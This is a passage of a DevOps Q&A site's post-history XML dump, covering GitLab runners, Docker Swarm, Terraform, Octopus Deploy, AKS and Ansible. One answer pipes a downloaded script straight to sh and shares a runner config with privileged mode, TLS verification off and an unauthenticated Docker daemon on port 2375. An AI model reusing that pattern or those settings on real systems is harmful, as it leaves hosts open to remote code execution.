/tmp/execute_test.result ]; then&#xD;&#xA;  chmod +x /tmp/execute_test.result&#xD;&#xA;  source /tmp/execute_test.result&#xD;&#xA;fi&#xD;&#xA;exit $EXITCODE&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Am I the only one having problems with running robot test from ssh sessions in MacOS? &#xD;&#xA;If yes, could you please share you steps to configure the proper setup?&#xD;&#xA;If no, then this post might be helpful for someone to have working configuration at least, please share your solutions/workarounds if they are better.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28096" PostHistoryTypeId="6" PostId="9430" RevisionGUID="ab0c19a0-568a-4616-8cf7-dfb14c8a1c6e" CreationDate="2019-10-15T07:46:50.487" UserId="354" Comment="Add testing tag and clean up formatting and grammar." Text="&lt;jenkins&gt;&lt;testing&gt;&lt;macos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28097" PostHistoryTypeId="24" PostId="9430" RevisionGUID="ab0c19a0-568a-4616-8cf7-dfb14c8a1c6e" CreationDate="2019-10-15T07:46:50.487" Comment="Proposed by 354 approved by 17609 edit id of 1091" ContentLicense="CC BY-SA 4.0" />
  <row Id="28098" PostHistoryTypeId="34" PostId="9355" RevisionGUID="be9bd788-7353-4737-b22c-2c3ccc0b567e" CreationDate="2019-10-15T08:03:05.530" UserId="-1" Comment="43" />
  <row Id="28099" PostHistoryTypeId="5" PostId="9438" RevisionGUID="3709f01d-05e4-4448-89e4-e1ddfa8582c5" CreationDate="2019-10-15T08:09:06.953" UserId="17425" Comment="added 688 characters in body" Text="What is the best solution for java code develop? Make my [own git server][1] and that's it? Developers (Linux, Mac, Windows) are working on their local computers, then they are using my own git server I mentioned before.&#xD;&#xA;&#xD;&#xA;Or Jenkins with Maven is better solution? What is benefit?&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;I would like to find best lean simplest solution for our develop team. Here are some info.&#xD;&#xA;&#xD;&#xA;- Team about 10 developers.&#xD;&#xA;- Everybody has his own LOCAL (windows, mac, linux), and his own IDE.&#xD;&#xA;- Project could be develop in java, php, javascript, css, html. I think this is not important for now.&#xD;&#xA;- My conception is, that I have 3 servers, 1st for DEV, 2nd for TEST and 3rd for PRODUCTION.&#xD;&#xA;- Every server has own git environment, as I mentioned above.&#xD;&#xA;- Process should be from LOCAL -&gt; DEV (check by lead developer), then from DEV -&gt; TEST (check by customer), then from TEST -&gt; PRODUCTION.&#xD;&#xA;- And this is question if is Jenkins / Maven useful, or only git is sufficient.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.linux.com/tutorials/how-run-your-own-git-server/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28100" PostHistoryTypeId="50" PostId="4709" RevisionGUID="f84b6556-0e04-4090-afdc-ca304adc2b85" CreationDate="2019-10-15T10:02:15.427" UserId="-1" />
  <row Id="28104" PostHistoryTypeId="2" PostId="9440" RevisionGUID="0a4a9a43-9857-4240-a530-3736b7d18f79" CreationDate="2019-10-15T11:01:24.780" UserId="17276" Text="I have it creating one version. It has latest and version 2 but can’t getting it to create more than one version of the same lambda?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`resource &quot;aws_lambda_function&quot; &quot;lambda&quot; {&#xD;&#xA;  function_name = &quot;test-lambda2&quot;&#xD;&#xA;  publish = true&#xD;&#xA;  runtime = &quot;python2.7&quot;&#xD;&#xA;  source_code_hash =  &quot;${data.archive_file.lambda_zip.output_base64sha256}&quot;                                             handler = &quot;index.handler&quot;&#xD;&#xA;  filename = &quot;lambda_function.zip&quot;&#xD;&#xA;  role = &quot;${aws_iam_role.iam_for_lambda_tf.arn}&quot;&#xD;&#xA;}&#xD;&#xA;`" ContentLicense="CC BY-SA 4.0" />
  <row Id="28105" PostHistoryTypeId="1" PostId="9440" RevisionGUID="0a4a9a43-9857-4240-a530-3736b7d18f79" CreationDate="2019-10-15T11:01:24.780" UserId="17276" Text="How do I create multiple versions of a lambda function in terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="28106" PostHistoryTypeId="3" PostId="9440" RevisionGUID="0a4a9a43-9857-4240-a530-3736b7d18f79" CreationDate="2019-10-15T11:01:24.780" UserId="17276" Text="&lt;terraform&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28110" PostHistoryTypeId="2" PostId="9442" RevisionGUID="3e24ec2f-d44a-41fe-bda1-8033401fe8d3" CreationDate="2019-10-15T14:06:41.693" UserId="354" Text="This is shown in the [Hashicorp tutorial - &quot;a new version of the lambda function](https://learn.hashicorp.com/terraform/aws/lambda-api-gateway#a-new-version-of-the-lambda-function). The suggestion there is to point to a different zipfile in S3.&#xD;&#xA;&#xD;&#xA;I suppose in your case, the filename either needs to change, or the file contents need to change.&#xD;&#xA;&#xD;&#xA;The suggestion from the tutorial is to use a variable for the filename, associated with the version of the application." ContentLicense="CC BY-SA 4.0" />
  <row Id="28111" PostHistoryTypeId="2" PostId="9443" RevisionGUID="7b461685-5f59-4458-a60e-98dab372c221" CreationDate="2019-10-15T14:17:16.963" UserId="15792" Text="**The Git Server**&#xD;&#xA;&#xD;&#xA;It's best practice to setup a Git server for the team to access.  This way you have a central server that can be maintained, backed up, and focus on serving the source code.&#xD;&#xA;&#xD;&#xA;While you could create your own, there are also several popular commercial options available that often have free private repositories (non-exhaustive list):&#xD;&#xA;&#xD;&#xA; - [Bitbucket][1]&#xD;&#xA; - [GitHub][2]&#xD;&#xA; - [AWS CodeCommit][3]&#xD;&#xA;&#xD;&#xA;The Git server will just be a repository for your code.  It will allow for workflows like [Pull Requests][4] to better manage the changing code base.  However, the Git Server will not build your code or deploy it anywhere.&#xD;&#xA;&#xD;&#xA;**Jenkins**&#xD;&#xA;&#xD;&#xA;[Jenkins][5] will not actually store your source code.  Instead it is a tool used for [Continuous-Integration][6] (CI) and [Continuous Deployment][7] (CD), a big part of DevOps culture.  The basic idea is that the Jenkins server will take the source code put into your Git server, ensure it compiles, automated tests pass, and possibly even deploy to your test environment.  Tools like Jenkins work with multiple programming languages.  &#xD;&#xA;&#xD;&#xA;[Maven][8] is a tool is specific to building Java projects.  Tools like Jenkins often have options to use Maven to build the project.&#xD;&#xA;&#xD;&#xA;Setting up a CI/CD tool like Jenkins would be a great next step after you have a consistent place for everyone to store their code.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/product/&#xD;&#xA;  [2]: https://github.com&#xD;&#xA;  [3]: https://aws.amazon.com/codecommit/&#xD;&#xA;  [4]: https://www.atlassian.com/git/tutorials/making-a-pull-request&#xD;&#xA;  [5]: https://jenkins.io&#xD;&#xA;  [6]: https://en.wikipedia.org/wiki/Continuous_integration&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/Continuous_delivery&#xD;&#xA;  [8]: https://maven.apache.org/what-is-maven.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="28112" PostHistoryTypeId="5" PostId="9438" RevisionGUID="a2096eef-8ac4-40f1-a445-407380b91b0b" CreationDate="2019-10-15T16:33:26.123" UserId="15792" Comment="Edited for clarity" Text="What is the best git solution for java code development? Make my [own git server][1]? Developers (Linux, Mac, Windows) are working on their local computers, then they are using my own git server.&#xD;&#xA;&#xD;&#xA;Would Jenkins with Maven be a better solution? What is the benefit?&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;I would like to find the best, lean, and simplest solution for our develop team. Here is some info:&#xD;&#xA;&#xD;&#xA;- Team of about 10 developers.&#xD;&#xA;- Everybody has their own LOCAL (windows, mac, linux), and their own IDE.&#xD;&#xA;- Project could be developed in java, php, javascript, css, html. I think this is not important for now.&#xD;&#xA;- My conception is, that I have 3 servers, 1st for DEV, 2nd for TEST and 3rd for PRODUCTION.&#xD;&#xA;- Every server has own git environment, as I mentioned above.&#xD;&#xA;- Process should be from LOCAL -&gt; DEV (check by lead developer), then from DEV -&gt; TEST (check by customer), then from TEST -&gt; PRODUCTION.&#xD;&#xA;- And this is question if is Jenkins / Maven useful, or only git is sufficient.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.linux.com/tutorials/how-run-your-own-git-server/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28113" PostHistoryTypeId="24" PostId="9438" RevisionGUID="a2096eef-8ac4-40f1-a445-407380b91b0b" CreationDate="2019-10-15T16:33:26.123" Comment="Proposed by 15792 approved by 40 edit id of 1093" ContentLicense="CC BY-SA 4.0" />
  <row Id="28114" PostHistoryTypeId="2" PostId="9444" RevisionGUID="9fcd662f-94f2-4a8f-9a80-395f284e5347" CreationDate="2019-10-15T17:14:23.140" UserId="12466" Text="I am trying to deploy a docker swarm using Digital Ocean's docker-machine driver. &#xD;&#xA;&#xD;&#xA;This is currently a single node that contains several public DockerHub images, and one private. &#xD;&#xA;&#xD;&#xA;I am having difficulties in configuring it to accept the private image properly.&#xD;&#xA;&#xD;&#xA;I have SSHed into the node, and used `docker login`. After that, I was able to properly `docker pull` the private image. &#xD;&#xA;&#xD;&#xA;But, when trying to run `docker stack deploy -c myapp.yml myapp`, I am getting this warning:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;image me/myapp:latest could not be accessed on a registry to record&#xD;&#xA;its digest. Each node will access me/myapp:latest independently,&#xD;&#xA;possibly leading to different nodes running different versions of the image.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What do I need to do to properly login to a private registry in docker swarm mode?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28115" PostHistoryTypeId="1" PostId="9444" RevisionGUID="9fcd662f-94f2-4a8f-9a80-395f284e5347" CreationDate="2019-10-15T17:14:23.140" UserId="12466" Text="Access private DockerHub repo in Docker Swarm" ContentLicense="CC BY-SA 4.0" />
  <row Id="28116" PostHistoryTypeId="3" PostId="9444" RevisionGUID="9fcd662f-94f2-4a8f-9a80-395f284e5347" CreationDate="2019-10-15T17:14:23.140" UserId="12466" Text="&lt;docker&gt;&lt;docker-swarm&gt;&lt;docker-registry&gt;&lt;docker-machine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28117" PostHistoryTypeId="2" PostId="9445" RevisionGUID="2f2fb5ab-9ecf-4884-8e64-76f7b8cfb5d9" CreationDate="2019-10-15T18:08:45.590" UserId="739" Text="# Yes!&#xD;&#xA;&#xD;&#xA;And consider a third and a forth person if you're large enough.  Folks can get sick.  Their phone might have run out of battery.  They might be dealing with a major local power outage.  Folks go on vacation and forget to update the pager schedule.  All of that, and more, can be addressed in a more reliable way by having a timeout on ack'ing a page before escalating to the next level.  Typically 30 minutes is reasonable to give somebody a chance to ack a page.  After that it is wise to try to see if someone else is actually available.&#xD;&#xA;&#xD;&#xA;## Escalation Tiers&#xD;&#xA;&#xD;&#xA;I've typically seen these escalations arranged into tiers.  The earlier tiers tend to have a few folks operating in rotation while later tiers don't get much noise and often are the same person all of the time.  While there are many variations on this theme I typically see something like:&#xD;&#xA;&#xD;&#xA;1. junior SRE/DevOps engineer&#xD;&#xA;1. senior SRE/DevOps engineer&#xD;&#xA;1. manager of SRE or DevOps team&#xD;&#xA;1. director of engineering or operations&#xD;&#xA;&#xD;&#xA;I usually see 3 layers in practice.  It is less common to see the Director there.  The first two layers can be arranged to help people sleep more:&#xD;&#xA;&#xD;&#xA;1. SRE where it is day-time&#xD;&#xA;2. SRE where is is night-time&#xD;&#xA;3. a manager&#xD;&#xA;&#xD;&#xA;But even if you only have:&#xD;&#xA;&#xD;&#xA;1. yourself&#xD;&#xA;1. the other guy&#xD;&#xA;&#xD;&#xA;that's much better than it just being one of you." ContentLicense="CC BY-SA 4.0" />
  <row Id="28118" PostHistoryTypeId="6" PostId="9407" RevisionGUID="2f00a24c-d24d-4c90-ac7f-a9a165971214" CreationDate="2019-10-15T18:09:34.023" UserId="739" Comment="add PagerDuty tag since we don't have a generic oncall tag" Text="&lt;operations&gt;&lt;pagerduty&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28119" PostHistoryTypeId="2" PostId="9446" RevisionGUID="3e701ecb-79f1-49cf-823b-564d4d07778e" CreationDate="2019-10-15T18:15:33.080" UserId="17458" Text="I might have skipped the optional installation of docker in my Ubuntu instance, so if the gitlab runner is going to use Docker, remember to install it:&#xD;&#xA;&#xD;&#xA;    curl -sSL https://get.docker.com/ | sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I got back to this issue and seem to have partially fixed it by checking it the gitlab runner is running&#xD;&#xA;&#xD;&#xA;    gitlab-runner status&#xD;&#xA;&#xD;&#xA;    systemctl is-enabled gitlab-runner&#xD;&#xA;&#xD;&#xA;    systemctl is-enabled docker&#xD;&#xA;&#xD;&#xA;I do have a different issue to solve, but it doesn't seem to be related. That is:&#xD;&#xA;&#xD;&#xA;    error during connect: Post http://docker:2375/v1.40/images/ [...] dial tcp: lookup docker on xx.xxx.xx.x:xx: no such host" ContentLicense="CC BY-SA 4.0" />
  <row Id="28121" PostHistoryTypeId="2" PostId="9447" RevisionGUID="516325b1-e90a-4a6a-9bb1-4291f74a8bb5" CreationDate="2019-10-15T18:32:57.523" UserId="17631" Text="I'd like to build a service where I run a custom setup script on behalf of a user on an t2.micro equivalent instance but be able to provably relinquish access to the server. Any advice on the tech stack and flows that I could use to accomplish this?&#xD;&#xA;&#xD;&#xA;Let's assume I have unlimited access to AWS resources to create as many instances as I like. The service is targeted at users unfamiliar with how even ssh works and we are basically setting up a custom software service automatically that runs on their dedicated service. But we need to prove that there is no way we can gain access to this user's server again.&#xD;&#xA;&#xD;&#xA;Any help is appreciated! Looking for creative ways to accomplish this." ContentLicense="CC BY-SA 4.0" />
  <row Id="28122" PostHistoryTypeId="1" PostId="9447" RevisionGUID="516325b1-e90a-4a6a-9bb1-4291f74a8bb5" CreationDate="2019-10-15T18:32:57.523" UserId="17631" Text="Provisioning a server on behalf of a user on GCP/AWS/Azure and provably relinquish access" ContentLicense="CC BY-SA 4.0" />
  <row Id="28123" PostHistoryTypeId="3" PostId="9447" RevisionGUID="516325b1-e90a-4a6a-9bb1-4291f74a8bb5" CreationDate="2019-10-15T18:32:57.523" UserId="17631" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28124" PostHistoryTypeId="2" PostId="9448" RevisionGUID="2d32daef-8b7d-4c20-93a3-dc07740df38d" CreationDate="2019-10-15T18:37:40.910" UserId="11221" Text="I am trying to create a way for our developers to be able to build deb packages from their Windows machines. We would like to reuse what we have for *nix so I've written a few batch scripts which are failing. &#xD;&#xA;&#xD;&#xA;So we are using Ubuntu as our base image and building upon that. Below is the error I am getting when trying to build. I've removed some company details but is still clear&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;dpkg-source: info: building &lt;package&gt; in &lt;package&gt;.tar.gz&#xD;&#xA;md5sum: &lt;package&gt;.tar.gz: Invalid argument&#xD;&#xA;dpkg-source: error: md5sum &lt;package&gt;.tar.gz gave error exit status 1&#xD;&#xA;dpkg-buildpackage: error: dpkg-source -b &lt;package&gt; gave error exit status 1&#xD;&#xA;debuild: fatal error at line 1364:&#xD;&#xA;dpkg-buildpackage -rfakeroot -D -us -uc failed&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Command used to start container `docker run --rm  -v %cd%:/target debuild-%1 %*`&#xD;&#xA;&#xD;&#xA;Commands run inside entrypoint for container&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;mk-build-deps --install --remove --tool &quot;apt-get --no-install-recommends --yes&quot;&#xD;&#xA;eval &quot;debuild $DOCKER_DEBUILD_OPTS -us -uc --lintian-opts --allow-root&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now this all works on Linux and Mac (with the docker run command changed to bash clearly). &#xD;&#xA;&#xD;&#xA;What are some possible reasons this is happening?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28125" PostHistoryTypeId="1" PostId="9448" RevisionGUID="2d32daef-8b7d-4c20-93a3-dc07740df38d" CreationDate="2019-10-15T18:37:40.910" UserId="11221" Text="Issue building deb package using Docker/Windows" ContentLicense="CC BY-SA 4.0" />
  <row Id="28126" PostHistoryTypeId="3" PostId="9448" RevisionGUID="2d32daef-8b7d-4c20-93a3-dc07740df38d" CreationDate="2019-10-15T18:37:40.910" UserId="11221" Text="&lt;docker&gt;&lt;linux&gt;&lt;windows&gt;&lt;builds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28127" PostHistoryTypeId="5" PostId="9446" RevisionGUID="c63a718b-e376-4c7c-a2a5-b944ebf836f5" CreationDate="2019-10-15T19:01:10.233" UserId="17458" Comment="solution, improved" Text="I might have skipped the optional installation of docker in my Ubuntu instance, so if the gitlab runner is going to use Docker, remember to install it:&#xD;&#xA;&#xD;&#xA;    curl -sSL https://get.docker.com/ | sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I got back to this issue and seem to have partially fixed it by checking it the gitlab runner is running&#xD;&#xA;&#xD;&#xA;    gitlab-runner status&#xD;&#xA;&#xD;&#xA;    systemctl is-enabled gitlab-runner&#xD;&#xA;&#xD;&#xA;    systemctl is-enabled docker&#xD;&#xA;&#xD;&#xA;I do have a different issue to solve, but it doesn't seem to be related. That is:&#xD;&#xA;&#xD;&#xA;    error during connect: Post http://docker:2375/v1.40/images/ [...] dial tcp: lookup docker on xx.xxx.xx.x:xx: no such host&#xD;&#xA;&#xD;&#xA;Then I found the solution, there's a problem in Gitlab CI that is repoted here ( https://gitlab.com/gitlab-org/gitlab-runner/issues/4566#note_199261985 ); And there are a lot of ways to fix this but my solution follows:&#xD;&#xA;&#xD;&#xA;1) Set the `.gitlab-ci.yml` services to use an older dind version:&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;      - docker:18.09.7-dind&#xD;&#xA;&#xD;&#xA;2) Check the toml file `/etc/gitlab-runner/config.toml`, set the DOCKER_HOST just in case, to point to the right place, make sure it runs in `privileged` mode. My working version is:&#xD;&#xA;&#xD;&#xA;    concurrent = 1&#xD;&#xA;    check_interval = 0&#xD;&#xA;    &#xD;&#xA;    [session_server]&#xD;&#xA;      session_timeout = 1800&#xD;&#xA;    &#xD;&#xA;    [[runners]]&#xD;&#xA;      name = &quot;xxxxxx xxxxxxxx&quot;&#xD;&#xA;      url = &quot;https://gitlab.com/&quot;&#xD;&#xA;      token = &quot;xxxxxxxxxx&quot;&#xD;&#xA;      executor = &quot;docker&quot;&#xD;&#xA;      pre_build_script = &quot;export DOCKER_HOST=tcp://docker:2375&quot;&#xD;&#xA;      [runners.custom_build_dir]&#xD;&#xA;      [runners.docker]&#xD;&#xA;        tls_cert_path = &quot;&quot;&#xD;&#xA;        tls_verify = false&#xD;&#xA;        image = &quot;alpine:latest&quot;&#xD;&#xA;        privileged = true&#xD;&#xA;        disable_entrypoint_overwrite = false&#xD;&#xA;        oom_kill_disable = false&#xD;&#xA;        disable_cache = false&#xD;&#xA;        volumes = [&quot;/cache&quot;]&#xD;&#xA;        shm_size = 0&#xD;&#xA;      [runners.cache]&#xD;&#xA;        [runners.cache.s3]&#xD;&#xA;        [runners.cache.gcs]&#xD;&#xA;&#xD;&#xA;Hope this helps someone else in the future!&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28128" PostHistoryTypeId="2" PostId="9449" RevisionGUID="e96ff926-e523-4a22-9502-99e182d974bb" CreationDate="2019-10-15T19:56:42.303" UserId="11527" Text="I learnt that,&#xD;&#xA;&#xD;&#xA;Octopus server can be installed on Windows 2008, 2012, 2016 server editions&#xD;&#xA;&#xD;&#xA;---------------&#xD;&#xA;&#xD;&#xA;Can Octopus server be installed on Ubuntu?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28129" PostHistoryTypeId="1" PostId="9449" RevisionGUID="e96ff926-e523-4a22-9502-99e182d974bb" CreationDate="2019-10-15T19:56:42.303" UserId="11527" Text="Octopus server installation on Linux" ContentLicense="CC BY-SA 4.0" />
  <row Id="28130" PostHistoryTypeId="3" PostId="9449" RevisionGUID="e96ff926-e523-4a22-9502-99e182d974bb" CreationDate="2019-10-15T19:56:42.303" UserId="11527" Text="&lt;deployment&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28131" PostHistoryTypeId="5" PostId="9449" RevisionGUID="c7c3131f-e8a8-4479-b28a-b5e2c34d5948" CreationDate="2019-10-15T20:06:01.887" UserId="11527" Comment="added 39 characters in body" Text="I learnt that,&#xD;&#xA;&#xD;&#xA;Octopus server can be installed on Windows 2008, 2012, 2016 server editions&#xD;&#xA;&#xD;&#xA;I see msi packages on Download page&#xD;&#xA;&#xD;&#xA;---------------&#xD;&#xA;&#xD;&#xA;Can Octopus server be installed on Ubuntu?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28132" PostHistoryTypeId="5" PostId="9449" RevisionGUID="fa310702-0489-4fcd-ab9b-c4fa1e06b71c" CreationDate="2019-10-15T20:25:37.030" UserId="11527" Comment="added 54 characters in body" Text="I learnt that,&#xD;&#xA;&#xD;&#xA;Octopus server can be installed on Windows 2008, 2012, 2016 server editions&#xD;&#xA;&#xD;&#xA;I see msi packages on Download page&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---------------&#xD;&#xA;&#xD;&#xA;Can Octopus server be installed on Ubuntu?&#xD;&#xA;&#xD;&#xA;Can tentacle software be installed on Linux box?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28133" PostHistoryTypeId="2" PostId="9450" RevisionGUID="5750697f-e798-4276-a79d-85dd197a2cad" CreationDate="2019-10-16T10:38:41.483" UserId="17643" Text="hey we have a GitLab stage and inside that we need to start an environment with several containers we pull from a local registry.&#xD;&#xA;&#xD;&#xA;We use compose and a docker in docker solution for that at the moment.&#xD;&#xA;&#xD;&#xA;The problem is, that the compose.yml now hold all the configuration for each service.&#xD;&#xA;&#xD;&#xA;So if we change it for one service, we need to update it in each docker-compose.yml in each project.&#xD;&#xA;&#xD;&#xA;What is the standard approach for such a setting?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="28134" PostHistoryTypeId="1" PostId="9450" RevisionGUID="5750697f-e798-4276-a79d-85dd197a2cad" CreationDate="2019-10-16T10:38:41.483" UserId="17643" Text="Multiple Microservices in CI environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="28135" PostHistoryTypeId="3" PostId="9450" RevisionGUID="5750697f-e798-4276-a79d-85dd197a2cad" CreationDate="2019-10-16T10:38:41.483" UserId="17643" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;gitlab&gt;&lt;cicd&gt;&lt;docker-in-docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28136" PostHistoryTypeId="2" PostId="9451" RevisionGUID="2f2c7427-e9a5-415d-9a9a-4dbe2acf351e" CreationDate="2019-10-16T12:19:45.443" UserId="397" Text="Historically Octopus Deploy was a solution to deploy software on Windows only, therefore the server component only supports installation on Windows.&#xD;&#xA;&#xD;&#xA;This is for a couple of [technical reasons][1]:&#xD;&#xA;&#xD;&#xA;1. Octopus Server takes a hard dependency on Internet Information Services (IIS) which itself only runs on Windows.&#xD;&#xA;2. Octopus Server is written in the .NET Framework doesn't run on Linux.&#xD;&#xA;&#xD;&#xA;Once you have the Octopus Deploy Server software installed, you can [manage Linux hosts via SSH][2], you don't need tentacles to manage Linux hosts.&#xD;&#xA;&#xD;&#xA;  [1]: https://octopus.com/docs/installation/requirements&#xD;&#xA;  [2]: https://octopus.com/docs/infrastructure/deployment-targets/linux" ContentLicense="CC BY-SA 4.0" />
  <row Id="28137" PostHistoryTypeId="2" PostId="9452" RevisionGUID="01f9623d-6c56-4062-8e25-fee8f5dd60bd" CreationDate="2019-10-16T12:28:25.283" UserId="397" Text="Rather than provisioning resources on-behalf of a user which would require them exposing their credentials to you in some way, I would implement this using the various marketplaces:&#xD;&#xA;&#xD;&#xA; - **Azure**: [Virtual Machine Offer Publishing][1]&#xD;&#xA; - **AWS**: [How to List Your Product in AWS][2]&#xD;&#xA; - **GCP**: [Sell on GCP][3]&#xD;&#xA;&#xD;&#xA;This has a couple of advantages:&#xD;&#xA;&#xD;&#xA;1. It's fully automated, you are never exposed to their subscriptions thus you don't need to prove that you no longer have access - you never had it in the first place.&#xD;&#xA;2. Everything is created within the customer's Subscription (Azure), Account (AWS) or Project (GCP) thus they bear all of the costs, you then get money from the cloud provider based upon how you price yourself in the marketplace.&#xD;&#xA;3. You can generally create more than just a VM, i.e. you could create a PaaS Database for persistence.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-gb/azure/marketplace/marketplace-virtual-machines&#xD;&#xA;  [2]: https://aws.amazon.com/blogs/apn/how-to-list-your-product-in-aws-marketplace/&#xD;&#xA;  [3]: https://cloud.google.com/marketplace/sell/#form" ContentLicense="CC BY-SA 4.0" />
  <row Id="28138" PostHistoryTypeId="2" PostId="9453" RevisionGUID="52bacd0d-a1fb-468c-adec-49de5a88c13b" CreationDate="2019-10-16T12:44:58.900" UserId="397" Text="The way I handled this in the past was to have a separate repository that contains the scripts, as most of them ended up shared across multiple projects anyway.  Then your `appspec.yml` file just contains references to the scripts and imports them via a submodule.  It's not perfect because a developer could change the `appspec.yml` to call his own scripts instead, although that's a lot more obvious.&#xD;&#xA;&#xD;&#xA;Another approach I have used on Azure is to require that scripts are signed with a specific GPG key.  I used a PowerShell and a CodeSigning certificate, but I suspect there is an equally suitable solution with GPG.&#xD;&#xA;&#xD;&#xA;A final approach would be to automatically fail the build or [reject the commit][1] if changes are detected within `appspec.yml` except when those changes are made by an &quot;approved&quot; person.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jakemccrary.com/blog/2015/05/31/use-git-pre-commit-hooks-to-stop-unwanted-commits/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28139" PostHistoryTypeId="2" PostId="9454" RevisionGUID="88e2b8c9-cf56-4523-ac15-066ec5ad2cbf" CreationDate="2019-10-16T14:16:40.743" UserId="7695" Text="We had a fun issue yesterday and today where after a restart of some nodes, we ended up with more or less every pod on one server.  After some research, it seems like most of the solutions for this issue are either manual or rely on something outside AKS to handle it.  &#xD;&#xA;&#xD;&#xA;Is there a way within AKS to handle the following:  &#xD;&#xA;  &#xD;&#xA;1. Balance pods across nodes regularly  &#xD;&#xA;2. Ensure that multiple pods of the same service are not on the same node where possible.&#xD;&#xA;&#xD;&#xA;(AKS does not have a tag right now and I can't recreate it)." ContentLicense="CC BY-SA 4.0" />
  <row Id="28140" PostHistoryTypeId="1" PostId="9454" RevisionGUID="88e2b8c9-cf56-4523-ac15-066ec5ad2cbf" CreationDate="2019-10-16T14:16:40.743" UserId="7695" Text="Keeping Pods Balanced Across Nodes in AKS" ContentLicense="CC BY-SA 4.0" />
  <row Id="28141" PostHistoryTypeId="3" PostId="9454" RevisionGUID="88e2b8c9-cf56-4523-ac15-066ec5ad2cbf" CreationDate="2019-10-16T14:16:40.743" UserId="7695" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28145" PostHistoryTypeId="2" PostId="9456" RevisionGUID="4eac0bb4-5198-408c-b1ce-b10917810a73" CreationDate="2019-10-16T16:14:28.040" UserId="16556" Text="With Ansible, I'm stopping several RDS (it could be EC2) instances.&#xD;&#xA;&#xD;&#xA;Then I want continue only when all of them are in the state stopped. I use the following task:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-yaml --&gt;&#xD;&#xA;&#xD;&#xA;    - name: Wait for RDS modify to finish&#xD;&#xA;      rds_instance_facts:&#xD;&#xA;        aws_access_key: &quot;{{ assumed_role.sts_creds.access_key }}&quot;&#xD;&#xA;        aws_secret_key: &quot;{{ assumed_role.sts_creds.secret_key }}&quot;&#xD;&#xA;        security_token: &quot;{{ assumed_role.sts_creds.session_token }}&quot;&#xD;&#xA;        db_instance_identifier: &quot;{{ item }}&quot;&#xD;&#xA;        region: &quot;{{ region }}&quot;&#xD;&#xA;      loop: &quot;{{ vars[ 'list_rds_resources_ids1_' ] + vars[ 'list_rds_resources_ids2_' ] }}&quot;&#xD;&#xA;      register: aws_rds_facts&#xD;&#xA;      until: aws_rds_facts[0].db_instance_status == &quot;stopped&quot;&#xD;&#xA;      retries: 90&#xD;&#xA;      delay: 10&#xD;&#xA;&#xD;&#xA;Right now, my code is testing only the first element. How to make the test on all existing elements at the same time ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28146" PostHistoryTypeId="1" PostId="9456" RevisionGUID="4eac0bb4-5198-408c-b1ce-b10917810a73" CreationDate="2019-10-16T16:14:28.040" UserId="16556" Text="Ansible: Test if multiple RDS instances are all stopped" ContentLicense="CC BY-SA 4.0" />
  <row Id="28147" PostHistoryTypeId="3" PostId="9456" RevisionGUID="4eac0bb4-5198-408c-b1ce-b10917810a73" CreationDate="2019-10-16T16:14:28.040" UserId="16556" Text="&lt;ansible&gt;&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
